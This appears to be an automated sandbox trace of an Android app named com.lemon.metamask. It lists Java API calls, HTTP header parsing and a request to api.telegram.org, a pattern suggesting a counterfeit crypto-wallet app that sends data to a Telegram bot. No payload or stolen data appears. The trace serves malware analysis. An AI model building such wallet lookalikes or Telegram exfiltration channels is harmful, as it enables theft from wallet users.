        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: 12
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Content-Type
        API: java.lang.String-><init> at cz.msebera.android.httpclient.util.CharArrayBuffer.substringTrimmed:30 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@faed44b
        • $1: Content-Length: 243
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: 14
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Content-Length
        API: java.lang.String-><init> at cz.msebera.android.httpclient.util.CharArrayBuffer.substringTrimmed:30 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@a2654e6
        • $1: Connection: keep-alive
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: 10
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        API: java.lang.String-><init> at cz.msebera.android.httpclient.util.CharArrayBuffer.substringTrimmed:30 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@ec5167d
        • $1: Access-Control-Allow-Origin: *
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: 27
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Allow-Origin
        API: java.lang.String-><init> at cz.msebera.android.httpclient.util.CharArrayBuffer.substringTrimmed:30 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@fe9da40
        • $1: Access-Control-Allow-Methods: GET, POST, OPTIONS
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: 28
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Allow-Methods
        API: java.lang.String-><init> at cz.msebera.android.httpclient.util.CharArrayBuffer.substringTrimmed:30 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@4e2771f
        • $1: Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: 29
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Expose-Headers
        API: java.lang.String-><init> at cz.msebera.android.httpclient.util.CharArrayBuffer.substringTrimmed:30 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@4c024ca
        • $1: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: 25
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Strict-Transport-Security
        API: java.lang.Object-><init> at ..:2 Show source
        API: java.util.HashMap-><init> at ..:3 Show source
        API: com.loopj.android.http.RequestParams$1->put at ..:9 Show source
        API: java.lang.Object-><init> at ..:1 Show source
        API: java.lang.StringBuilder-><init> at cz.msebera.android.httpclient.client.utils.URIUtils.createURI:9 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.client.utils.URIUtils.createURI:13 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.client.utils.URIUtils.createURI:17 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.client.utils.URIUtils.createURI:19 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.client.utils.URIUtils.createURI:23 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.client.utils.URIUtils.createURI:25 Show source
        API: java.lang.String->startsWith at cz.msebera.android.httpclient.client.utils.URIUtils.createURI:30 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.client.utils.URIUtils.createURI:35 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.client.utils.URIUtils.createURI:38 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.client.utils.URIUtils.createURI:42 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.client.utils.URIUtils.createURI:44 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.client.utils.URIUtils.createURI:48 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.client.utils.URIUtils.createURI:50 Show source
        API: java.lang.StringBuilder->toString at cz.msebera.android.httpclient.client.utils.URIUtils.createURI:53 Show source
        API: java.net.URI-><init> at cz.msebera.android.httpclient.client.utils.URIUtils.createURI:56 Show source
        API: java.net.URI->toString at cz.msebera.android.httpclient.client.utils.URIUtils.resolve:9 Show source
        API: java.lang.String->startsWith at cz.msebera.android.httpclient.client.utils.URIUtils.resolve:14 Show source
        API: java.lang.String->length at cz.msebera.android.httpclient.client.utils.URIUtils.resolve:22 Show source
        API: java.net.URI->create at cz.msebera.android.httpclient.client.utils.URIUtils.resolve:33 Show source
        API: java.net.URI->resolve at cz.msebera.android.httpclient.client.utils.URIUtils.resolve:36 Show source
        API: java.net.URI->toString at cz.msebera.android.httpclient.client.utils.URIUtils.resolve:40 Show source
        API: java.lang.String->indexOf at cz.msebera.android.httpclient.client.utils.URIUtils.resolve:44 Show source
        API: java.lang.String->substring at cz.msebera.android.httpclient.client.utils.URIUtils.resolve:47 Show source
        API: java.net.URI->create at cz.msebera.android.httpclient.client.utils.URIUtils.resolve:50 Show source
        API: java.net.URI->isOpaque at cz.msebera.android.httpclient.client.utils.URIUtils.rewriteURI:10 Show source
        API: java.net.URI->isOpaque at cz.msebera.android.httpclient.client.utils.URIUtils.normalizeSyntax:1 Show source
        API: java.net.URI->getAuthority at cz.msebera.android.httpclient.client.utils.URIUtils.normalizeSyntax:5 Show source
        API: java.net.URI->isAbsolute at cz.msebera.android.httpclient.client.utils.URIUtils.normalizeSyntax:10 Show source
        API: java.net.URI->getPath at cz.msebera.android.httpclient.client.utils.URIUtils.normalizeSyntax:17 Show source
        API: java.net.URI->getPath at cz.msebera.android.httpclient.client.utils.URIUtils.normalizeSyntax:24 Show source
        API: java.lang.String->split at cz.msebera.android.httpclient.client.utils.URIUtils.normalizeSyntax:29 Show source
        API: java.util.Stack-><init> at cz.msebera.android.httpclient.client.utils.URIUtils.normalizeSyntax:33 Show source
        API: java.lang.String->length at cz.msebera.android.httpclient.client.utils.URIUtils.normalizeSyntax:39 Show source
        API: java.lang.String->equals at cz.msebera.android.httpclient.client.utils.URIUtils.normalizeSyntax:45 Show source
        API: java.lang.String->equals at cz.msebera.android.httpclient.client.utils.URIUtils.normalizeSyntax:52 Show source
        API: java.util.Stack->isEmpty at cz.msebera.android.httpclient.client.utils.URIUtils.normalizeSyntax:56 Show source
        API: java.util.Stack->pop at cz.msebera.android.httpclient.client.utils.URIUtils.normalizeSyntax:60 Show source
        API: java.util.Stack->push at cz.msebera.android.httpclient.client.utils.URIUtils.normalizeSyntax:63 Show source
        API: java.lang.StringBuilder-><init> at cz.msebera.android.httpclient.client.utils.URIUtils.normalizeSyntax:68 Show source
        API: java.util.Stack->iterator at cz.msebera.android.httpclient.client.utils.URIUtils.normalizeSyntax:70 Show source
        API: java.util.Iterator->hasNext at cz.msebera.android.httpclient.client.utils.URIUtils.normalizeSyntax:73 Show source
        API: java.util.Iterator->next at cz.msebera.android.httpclient.client.utils.URIUtils.normalizeSyntax:78 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.client.utils.URIUtils.normalizeSyntax:82 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.client.utils.URIUtils.normalizeSyntax:84 Show source
        API: java.lang.String->lastIndexOf at cz.msebera.android.httpclient.client.utils.URIUtils.normalizeSyntax:87 Show source
        API: java.lang.String->length at cz.msebera.android.httpclient.client.utils.URIUtils.normalizeSyntax:90 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.client.utils.URIUtils.normalizeSyntax:95 Show source
        API: java.net.URI->getScheme at cz.msebera.android.httpclient.client.utils.URIUtils.normalizeSyntax:97 Show source
        API: java.lang.String->toLowerCase at cz.msebera.android.httpclient.client.utils.URIUtils.normalizeSyntax:102 Show source
        API: java.net.URL-><init> at ..:2 Show source
        API: java.net.URL->toString at ..:3 Show source
        API: java.lang.Object-><init> at ..:1 Show source
        API: java.lang.Object->getClass at ..:4 Show source
        API: java.net.URL->toString at ..:3 Show source
        API: java.net.URL->getAuthority at ..:14 Show source
        API: java.net.URL->getAuthority at ..:17 Show source
        API: java.lang.String->equalsIgnoreCase at ..:20 Show source
        API: java.net.URL->toString at ..:24 Show source
        API: java.lang.String->equals at ..:3 Show source
        API: java.lang.String->equals at ..:9 Show source
        API: java.net.URL-><init> at ..:2 Show source
        API: java.lang.String->equals at ..:20 Show source
        API: java.lang.StringBuilder-><init> at cz.msebera.android.httpclient.impl.client.cache.CacheInvalidator.flushInvalidatedCacheEntries:22 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.impl.client.cache.CacheInvalidator.flushInvalidatedCacheEntries:26 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.impl.client.cache.CacheInvalidator.flushInvalidatedCacheEntries:28 Show source
        API: java.lang.StringBuilder->toString at cz.msebera.android.httpclient.impl.client.cache.CacheInvalidator.flushInvalidatedCacheEntries:30 Show source
        API: java.util.Map->values at cz.msebera.android.httpclient.impl.client.cache.CacheInvalidator.flushInvalidatedCacheEntries:39 Show source
        API: java.util.Collection->iterator at cz.msebera.android.httpclient.impl.client.cache.CacheInvalidator.flushInvalidatedCacheEntries:42 Show source
        API: java.util.Iterator->hasNext at cz.msebera.android.httpclient.impl.client.cache.CacheInvalidator.flushInvalidatedCacheEntries:45 Show source
        API: java.util.Iterator->next at cz.msebera.android.httpclient.impl.client.cache.CacheInvalidator.flushInvalidatedCacheEntries:49 Show source
        API: java.util.Date->before at ..:30 Show source
        API: java.lang.Object-><init> at ..:1 Show source
        API: java.util.concurrent.ConcurrentHashMap-><init> at ..:5 Show source
        API: java.util.concurrent.ConcurrentMap->get at ..:6 Show source
        API: java.util.concurrent.ConcurrentMap->putIfAbsent at ..:17 Show source
        API: java.util.concurrent.ConcurrentMap->replace at ..:34 Show source
        API: java.util.concurrent.ConcurrentMap->remove at ..:4 Show source
        API: java.lang.IllegalArgumentException-><init> at ..:10 Show source
        API: java.util.concurrent.ConcurrentMap->size at ..:3 Show source
        API: java.util.concurrent.ConcurrentMap->remove at ..:17 Show source
        API: java.util.concurrent.ConcurrentMap->get at ..:4 Show source
        API: java.lang.IllegalArgumentException-><init> at ..:18 Show source
        API: java.lang.IllegalArgumentException-><init> at ..:10 Show source
        API: java.util.concurrent.ConcurrentMap->entrySet at ..:3 Show source
        API: java.util.Set->iterator at ..:6 Show source
        API: java.util.Iterator->hasNext at ..:11 Show source
        API: java.util.Iterator->next at ..:15 Show source
        API: java.util.Map$Entry->getValue at ..:19 Show source
        API: java.util.Map$Entry->getValue at ..:28 Show source
        API: java.net.Socket->setSoTimeout at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:65 Show source
        API: java.net.Socket->setReuseAddress at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:70 Show source
        API: java.net.Socket->setTcpNoDelay at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:75 Show source
        API: java.net.Socket->setKeepAlive at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:80 Show source
        API: java.net.Socket->setSoLinger at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:90 Show source
        API: java.net.InetSocketAddress-><init> at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:95 Show source
        API: java.lang.StringBuilder-><init> at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:106 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:110 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:112 Show source
        API: java.lang.StringBuilder->toString at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:114 Show source
        API: java.lang.StringBuilder-><init> at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:141 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:145 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:147 Show source
        API: java.lang.StringBuilder->toString at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:149 Show source
        API: java.net.ConnectException->getMessage at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:161 Show source
        API: java.lang.String->equals at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:166 Show source
        API: cz.msebera.android.httpclient.conn.ConnectTimeoutException-><init> at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:171 Show source
        API: cz.msebera.android.httpclient.conn.HttpHostConnectException-><init> at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:175 Show source
        API: java.lang.StringBuilder-><init> at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:189 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:193 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:196 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:200 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:204 Show source
        API: java.lang.StringBuilder->toString at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:206 Show source
        API: cz.msebera.android.httpclient.conn.ConnectTimeoutException-><init> at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:215 Show source
        API: java.lang.StringBuilder-><init> at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:221 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:226 Show source
        API: java.lang.StringBuilder->append at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:230 Show source
        API: java.lang.StringBuilder->toString at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:232 Show source
        API: cz.msebera.android.httpclient.conn.UnsupportedSchemeException-><init> at cz.msebera.android.httpclient.impl.conn.HttpClientConnectionOperator.connect:235 Show source
        API: java.lang.StringBuilder-><init> at ..:42 Show source
        API: java.lang.StringBuilder->append at ..:47 Show source
        API: java.lang.StringBuilder->append at ..:51 Show source
        API: java.lang.StringBuilder->toString at ..:53 Show source
        API: cz.msebera.android.httpclient.conn.UnsupportedSchemeException-><init> at ..:56 Show source
        API: java.lang.StringBuilder-><init> at ..:61 Show source
        API: java.lang.StringBuilder->append at ..:66 Show source
        API: java.lang.StringBuilder->append at ..:70 Show source
        API: java.lang.StringBuilder->toString at ..:72 Show source
        API: cz.msebera.android.httpclient.conn.UnsupportedSchemeException-><init> at ..:75 Show source
        API: java.lang.Object-><init> at ..:12 Show source
        API: java.lang.Object->getClass at ..:15 Show source
        API: java.lang.StringBuilder->setLength at ..:7 Show source
        API: java.io.Reader->read at ..:10 Show source
        API: java.lang.Character->isWhitespace at ..:20 Show source
        API: java.lang.StringBuilder->append at ..:26 Show source
        API: java.lang.StringBuilder->length at ..:28 Show source
        API: java.io.IOException-><init> at ..:37 Show source
        API: java.lang.Object-><init> at ..:1 Show source
        API: java.util.ArrayList-><init> at cz.msebera.android.httpclient.impl.cookie.PublicSuffixListParser.parse:7 Show source
        API: java.util.ArrayList-><init> at cz.msebera.android.httpclient.impl.cookie.PublicSuffixListParser.parse:10 Show source
        API: java.io.BufferedReader-><init> at cz.msebera.android.httpclient.impl.cookie.PublicSuffixListParser.parse:13 Show source
        API: java.lang.StringBuilder-><init> at cz.msebera.android.httpclient.impl.cookie.PublicSuffixListParser.parse:17 Show source
        API: java.lang.StringBuilder->toString at cz.msebera.android.httpclient.impl.cookie.PublicSuffixListParser.parse:25 Show source
        API: java.lang.String->length at cz.msebera.android.httpclient.impl.cookie.PublicSuffixListParser.parse:28 Show source
        API: java.lang.String->startsWith at cz.msebera.android.httpclient.impl.cookie.PublicSuffixListParser.parse:35 Show source
        API: java.lang.String->startsWith at cz.msebera.android.httpclient.impl.cookie.PublicSuffixListParser.parse:42 Show source
        API: java.lang.String->substring at cz.msebera.android.httpclient.impl.cookie.PublicSuffixListParser.parse:46 Show source
        API: java.lang.String->startsWith at cz.msebera.android.httpclient.impl.cookie.PublicSuffixListParser.parse:51 Show source
        API: java.lang.String->substring at cz.msebera.android.httpclient.impl.cookie.PublicSuffixListParser.parse:55 Show source
        API: java.util.Collection->add at cz.msebera.android.httpclient.impl.cookie.PublicSuffixListParser.parse:59 Show source
        API: java.util.Collection->add at cz.msebera.android.httpclient.impl.cookie.PublicSuffixListParser.parse:62 Show source
        API: java.lang.StringBuilder-><init> at ..:4 Show source
        API: java.lang.StringBuilder->append at ..:8 Show source
        API: java.lang.StringBuilder->append at ..:11 Show source
        API: java.lang.StringBuilder->toString at ..:13 Show source
        API: java.lang.Object-><init> at ..:1 Show source
        API: java.lang.Object-><init> at ..:1 Show source
        API: java.lang.String->length at ..:7 Show source
        API: java.lang.StringBuilder-><init> at ..:11 Show source
        API: java.lang.StringBuilder->append at ..:15 Show source
        API: java.lang.StringBuilder->append at ..:19 Show source
        API: java.lang.Integer->toString at ..:22 Show source
        API: java.lang.StringBuilder->append at ..:25 Show source
        API: java.lang.StringBuilder->toString at ..:27 Show source
        API: java.lang.Object-><init> at ..:1 Show source
        API: java.net.InetAddress->getHostAddress at ..:10 Show source
        API: java.lang.String->toLowerCase at ..:18 Show source
        API: java.lang.String->toLowerCase at ..:25 Show source
        API: java.lang.Object->clone at ..:6 Show source
        API: java.lang.String->equals at ..:12 Show source
        API: java.lang.String->equals at ..:23 Show source
        API: java.lang.StringBuilder-><init> at ..:2 Show source
        API: java.lang.StringBuilder->append at ..:6 Show source
        API: java.lang.StringBuilder->append at ..:10 Show source
        API: java.lang.StringBuilder->append at ..:14 Show source
        API: java.lang.StringBuilder->append at ..:20 Show source
        API: java.lang.Integer->toString at ..:23 Show source
        API: java.lang.StringBuilder->append at ..:26 Show source
        API: java.lang.StringBuilder->toString at ..:28 Show source
        API: java.lang.Object-><init> at ..:1 Show source
        API: java.lang.String->toLowerCase at ..:12 Show source
        API: java.lang.String->toLowerCase at ..:19 Show source
        API: java.lang.String->hashCode at ..:3 Show source
        API: java.lang.String->equals at ..:13 Show source
        API: java.lang.String->equals at ..:6 Show source
        API: java.lang.StringBuilder-><init> at ..:2 Show source
        API: java.lang.StringBuilder->append at ..:6 Show source
        API: java.lang.StringBuilder->append at ..:9 Show source
        API: java.lang.Integer->toString at ..:12 Show source
        API: java.lang.StringBuilder->append at ..:15 Show source
        API: java.lang.StringBuilder->append at ..:18 Show source
        API: java.lang.Integer->toString at ..:21 Show source
        API: java.lang.StringBuilder->append at ..:24 Show source
        API: java.lang.StringBuilder->toString at ..:26 Show source
        API: java.lang.String->equals at ..:9 Show source
        API: java.lang.Object-><init> at ..:1 Show source
        API: java.lang.Object->clone at ..:6 Show source
        Method: com.lemon.metamask.Activity.MainActivity.onCreate:9 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: com.lemon.metamask
        Method: cz.msebera.android.httpclient.impl.io.SocketInputBuffer.<init>:22 Show source
        NameTypeValue
        Return Valuecom.android.org.conscrypt.OpenSSLSocketImpl$SSLInputStream
        • toString: com.android.org.conscrypt.OpenSSLSocketImpl$SSLInputStream@6c5bcda
        Method: ..: Show source
        NameTypeValue
        p0java.lang.String
        • toString: uimode
        NameTypeValue
        Return Valueandroid.app.UiModeManager
        • toString: android.app.UiModeManager@b65103e
        Method: cz.msebera.android.httpclient.client.protocol.RequestAddCookies.<init>:4 Show source
        NameTypeValue
        Return Valuejava.lang.Class
        • toString: class cz.msebera.android.httpclient.client.protocol.RequestAddCookies
        • getName: cz.msebera.android.httpclient.client.protocol.RequestAddCookies
        Method: cz.msebera.android.httpclient.client.protocol.RequestAuthCache.<init>:4 Show source
        NameTypeValue
        Return Valuejava.lang.Class
        • toString: class cz.msebera.android.httpclient.client.protocol.RequestAuthCache
        • getName: cz.msebera.android.httpclient.client.protocol.RequestAuthCache
        Method: cz.msebera.android.httpclient.client.utils.URIUtils.rewriteURI:46 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@3986b65
        Method: cz.msebera.android.httpclient.impl.conn.DefaultClientConnectionOperator.<init>:4 Show source
        NameTypeValue
        Return Valuejava.lang.Class
        • toString: class cz.msebera.android.httpclient.impl.conn.DefaultClientConnectionOperator
        • getName: cz.msebera.android.httpclient.impl.conn.DefaultClientConnectionOperator
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@6158cb6
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@6158cb6
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@6158cb6
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Host
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Host
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@6158cb6
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Host
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@6158cb6
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Host
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@6158cb6
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Host
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@6158cb6
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Host
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@6158cb6
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Host
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        Method: cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:1 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@6158cb6
        Method: cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:1 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Host
        Method: cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:1 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        Method: cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:1 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Accept-Encoding
        Method: cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:1 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Accept-Encoding
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@6158cb6
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Host
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Accept-Encoding
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@2d08db7
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: api.telegram.org
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@9df7243
        Method: cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:4 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@2d08db7
        Method: cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:4 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: api.telegram.org
        Method: cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:4 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@9df7243
        Method: cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:1 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@fad35f
        Method: cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:4 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@fad35f
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Server
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Date
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Content-Type
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Content-Length
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Allow-Origin
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Allow-Methods
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Expose-Headers
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Strict-Transport-Security
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Server
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Date
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Content-Type
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Content-Length
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getHeaders:17 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Server
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getHeaders:17 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Date
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getHeaders:17 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Content-Type
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getHeaders:17 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Content-Length
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getHeaders:17 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getHeaders:17 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Allow-Origin
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getHeaders:17 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Allow-Methods
